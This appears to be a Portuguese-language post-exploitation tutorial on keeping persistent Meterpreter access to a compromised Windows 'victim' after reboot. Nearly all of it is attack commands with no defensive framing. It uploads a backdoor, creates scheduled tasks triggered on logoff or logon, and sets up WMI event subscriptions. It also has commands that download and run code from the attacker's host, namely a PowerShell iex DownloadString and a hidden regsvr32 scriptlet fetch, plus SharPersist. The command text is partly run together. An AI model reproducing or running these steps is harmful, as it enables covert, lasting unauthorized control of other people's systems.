As vezes podemos perder nossa conexão depois que o host alvo reiniciar ou ficar um tempo sem conexão com a internet.
Veremos aqui algumas formas de deixar nossa conexão com a vítima de forma permanente.
Metasploit
Nos exemplo abaixo, estamos utilizando um alvo Windows, no qual já temos uma sessão aberta com o Meterpreter.
IMPORTANTE: Para todos os exemplos abaixo, utilize o exploit/multi/handler para pegar o Meterpreter após o host alvo reiniciar o SO.
IMPORTANTE: Certifique-se de ser NT AUTHORITY\SYSTEM e ter feito um migrate em processos como lsass.exe ou explorer.exe, para assim obter melhores resultados.
Persistence
Antes de prosseguir, utilize o migrate para garantir o acesso.
ps-Slsass.exemigrate<pid>
Agora, execute os comandos para deixar o acesso de fato persistente.
Para seguir os passos abaixo, é preciso ter acesso ao Meterpreter. Note que estamos utilizando o EventID 4634, pois estamos criando uma tarefa agendada com base no ID do Evento. A identificação do evento é listada nos logs quando uma conta foi desconectada. Portanto, uma vez que um usuário se logue novamente, devemos conseguir uma sessão no Meterpreter.
migrate-Sexplorer.exemigrate<pid>uploadbackdoor.exeC:\\Windows\\System32shellschtasks/Create/TNSessionOnLogOff/TRC:\Windows\System32\backdoor.exe/SCONEVENT/ECSecurity/MO"*[System[(Level=4 or Level=0) and (EventID=4634)]]"
No host atacante, utilize o exploit/multi/handler para realizar a conexão via Meterpreter.
Execute os comandos wmic no SO alvo para criar a persistência.
# Cria uma instância __EventFilterwmic/NAMESPACE:"\\root\subscription"PATH__EventFilterCREATEName="<name>",EventNameSpace="root\cimv2",QueryLanguage="WQL",Query="SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"# Cria uma instância __EventConsumer e usa a Classe CommandLineEventConsumerwmic/NAMESPACE:"\\root\subscription"PATHCommandLineEventConsumerCREATEName="<name>",ExecutablePath="C:\Users\Administrator\AppData\Local\Temp\backdoor.exe",CommandLineTemplate="C:\Windows\system32\backdoor.exe"# Registra o evento permanentementewmic/NAMESPACE:"\\root\subscription"PATH__FilterToConsumerBindingCREATEFilter="__EventFilter.Name=\"<name>\"",Consumer="CommandLineEventConsumer.Name=\"<name>\""
No host atacante, utilize o exploit/multi/handler para realizar a conexão via Meterpreter.
WMI
Execute o comando abaixo em outro terminal para gerar o backdoor e envie o arquivo gerado para o host alvo.
Feito isso, acesse o diretório onde está o arquivo WMI-Persistence.ps1 e abra uma porta web.
cd</path/to/file.ps1>python-mSimpleHTTPServer80
Agora vá para o terminal que está com o Meterpreter aberto (ou utilize o mesmo terminal e acesse o Meterpreter) e execute os seguintes comandos:
# Alterando de diretóriocd<c:\\path\\to\\backdoor># Carregando o PowershellloadPowerShellpowershell_shell# Executando o WMI-Persistence.ps1iex (New-ObjectNet.WebClient).DownloadString('http://<ip_atacante>/WMI-Persistence.ps1')Install-Persistence-TriggerStartup-Payload"<C:\path\to\backdoor.exe>"
O host então, poderá ser reiniciado que irá tentar conectar com o host atacante, realizando assim uma conexão via Meterpreter. No host alvo, utilize o exploit/multi/handler para realizar a conexão via Meterpreter.
Vá para o outro terminal (que tenha acesso Meterpreter) e execute os seguintes comandos:
# Carregando o Powershellloadpowershellpowershell_shell# Repare que a parte entre aspas simples, deve ser igual a saída do comando realizado no outro terminalschtasks/create/tn<name>/tr"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'regsvr32 /s /n /u /i:http://<ip_atacante>:8080/5oq2CIKAnPFvO8.sct scrobj.dll'"/sconlogon/ruSystem
Após isso, será realizar uma conexão Meterpreter assim que o host alvo for reiniciado.
Faça upload dos arquivos SharPersist.exe e backdoor.exe para o host alvo no diretório C:\Users\Administrator\AppData\Local\Temp\ e depois execute no Meterpreter:
# Carregando o PowershellloadPowerShellpowershell_shel# Executando o SharPersist./SharPersist.exe-tschtask-c"C:\Windows\System32\cmd.exe"-a"/c \Users\Administrator\AppData\Local\Temp\backdoor.exe"-n"<name>"-madd-ologon
No host atacante, utilize o exploit/multi/handler para realizar a conexão via Meterpreter.